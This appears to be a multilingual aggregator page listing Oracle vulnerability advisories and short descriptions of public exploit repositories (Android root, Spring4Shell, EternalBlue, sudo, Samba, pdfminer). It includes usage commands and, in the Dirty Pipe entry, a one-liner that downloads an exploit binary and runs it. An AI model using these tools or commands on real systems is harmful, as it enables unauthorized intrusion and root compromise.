CVE-2026-83184

Oracle Application Object Library (component: Core) in Oracle E-Business Suite versions 12.2.3 through 12.2.15 contains a vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise the component. The vulnerability is rated difficult to exploit (high attack co...

EUVD-2026-79528

Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite component: CRM User Management Framework. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle...

SSTI-Exploit-Detector

SSTI-Exploit-Detector SSTI Exploit Detector は、Webアプリケーションにおける潜在的な サーバーサイドテンプレートインジェクション（SSTI） の脆弱性を検出するために設計されたツールです。 SSTI-Exploit-Detector Jenderal92 特徴 カスタムペイロードファイル : ユーザーが独自のペイロードを追加して、さまざまなテンプレートエンジンをテストできます。 デフォルトペイロード : Jinja2、Tornado、Ruby、Velocity...

EUVD-2026-79339

Vulnerability in the Oracle Platform Security for Java product of Oracle Fusion Middleware component: Centralized Thirdparty Jars. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to...

EUVD-2026-79318

Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM component: Cloud Gateway. Supported versions that are affected are 17.0-26.7. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful...

EUVD-2026-79506

Vulnerability in the Oracle GraalVM product of Oracle Java SE component: Compiler. The supported version that is affected is Oracle GraalVM: 25.0.4.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle GraalVM. Successful attacks o...

Phpweb-Getshell-py

Phpweb-Getshell-py Phpweb=2.0.35 使用チュートリアルは、www.0-sec.orgを参照してください。...

ghostlock-sabrina

GhostLock Sabrina 针对 Chromecast with Google TV （sabrina）的 root 漏洞利用，通过 CVE-2026-43499 实现——Linux 内核 futex PI（优先级继承）子系统中的一个释放后使用漏洞。 在运行 Android 14、内核版本 5.15.170（PGO+BOLT+LTO，clang 17）的锁定引导加载程序 设备上获取 root 权限。 漏洞详情 GhostLock 利用了 rtmutexstartproxylock 中 -EDEADLK 回滚路径调用的 removewaiter 中的一个缺陷。该函数清除的是...

wp-CVE-2017-5487-exploit

WordPress CVE-2017-5487 Pythonでのエクスプロイト 使用例: python3 krpexploit.py -h python3 krpexploit.py --url http://examplesite.com...

Metinfo-6.1.2-SQL-injection

Metinfo-6.1.2-SQL-injection Metinfo 6.1.2 SQLインジェクションスクリプト 0-sec.org...

Cobaltstrike-MS17-010

Cobaltstrike Aggressor スクリプト ms17-010 エクスプロイトツール兼スキャナー。 1. cobaltstrike のルートフォルダにファイルをダウンロードします。 2. "aggressor.cna" をインポートします。 ms17-010 エクスプロイトツールは win7 x64 と win2008 r2 のみをサポートしています。 pwn/Invoke-EternalBlue.ps1 は Empire から getinfo/Invoke-EternalScan.ps1 は @vletoux から getinfo/Invoke-LoginPrompt.ps...

optionsbleed

optionsbleed CVE-2017-9798...

aquos-r6-ghostlock

AQUOS R6 GhostLock 临时 root 针对 Sharp AQUOS R6 的设备专用 Linux 5.4 移植版 GhostLock（CVE-2026-43499）。已验证的目标是运行 Android 11 构建版本 S0029 / 01.00.06、内核 5.4.61-qgki 的 SoftBank A101SH（Judau）。 ghostlock54 目标可获取真实的 UID/GID 0，将 SELinux 更改为 permissive，并直接通过现有的 ADB 传输打开交互式 root shell。它不监听 TCP，也不授予完整的 Linux 能力集。 构建 需要...

CVE-2022-22965

spring4shell ⭐ CVE-2022-22965 の Python 実装で、SSH セッション風のプロンプトをユーザーに提供します。 このスクリプトは、読みやすさとアクセシビリティの両方を考慮し、ユーザーの選択に応じて、理解しやすく実行しやすいように設計されています。Tomcat サーバー上の脆弱性を悪用するために設計されています。サーバー上の fileDateFormat フィールドは、スクリプトの一部として設定および解除されるため、エクスプロイトを複数回実行できます。クリーンアップが必要な場合があります。 エクスプロイト - CVE-2022-22965 ❗ 対象となる脆弱...

win-exp-

説明 このツールは、対象ホストのパッチレベルをMicrosoftの脆弱性データベースと比較し、対象に不足している可能性のあるパッチを検出します。また、不足しているセキュリティ情報に対して公開エクスプロイトやMetasploitモジュールが利用可能かどうかもユーザーに通知します。 Microsoftセキュリティ情報データベースと比較してホストのパッチレベルを判断するには、Windowsホストからの'systeminfo'コマンドの出力が必要です。...

CVE-2007-2447

CVE-2007-2447 Samba エクスプロイト...

CVE-2025-64512_PoC

CVE-2025-64512 — pdfminer.six RCE 漏洞利用 Python 3，仅使用标准库 （无需 pip 安装）。仅供授权安全测试和 CTF 使用——您有责任遵守法律以及您所参与项目的 交战规则。 | ---|--- CVE| CVE-2025-64512 受影响| pdfminer.six .pickle.gz）形式打包在自身的包内。 看看 CMap 是如何加载的（pdfminer/cmapdb.py，20251107 之前的所有版本）： root@kitploit: @classmethod def loaddatacls, name: str - Any: na...

CVE-2022-0847-Dirty-Pipe

Exploit de una línea CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

cve-2023-37635

CVE-2023-37635 - 漏洞利用指南 安装与设置 1️⃣ 安装依赖 root@kitploit: pip install -r requirements.txt 2️⃣ 运行漏洞利用 使用代理： root@kitploit: python brutForc.py 不使用代理： root@kitploit: python brutForc.py -n 注意事项： 将 替换为目标 URL。 -n 标志将禁用代理。 ⚠️ 免责声明 ：此脚本仅供教育和授权安全测试之用。未经授权的使用是非法的。...

CVE-2021-3156

CVE-2021-3156 PoC はじめに これは、Qualys によって Baron Samedit と名付けられた CVE-2021-3156 sudo 脆弱性に対するエクスプロイトです。 使用方法 ビルド: root@kitploit: $ make ターゲット一覧: root@kitploit: $ ./sudo-hax-me-a-sandwich 実行: root@kitploit: $ ./sudo-hax-me-a-sandwich 手動モード: root@kitploit: $ ./sudo-hax-me-a-sandwich ターゲット探索のブルートフォース 試験的...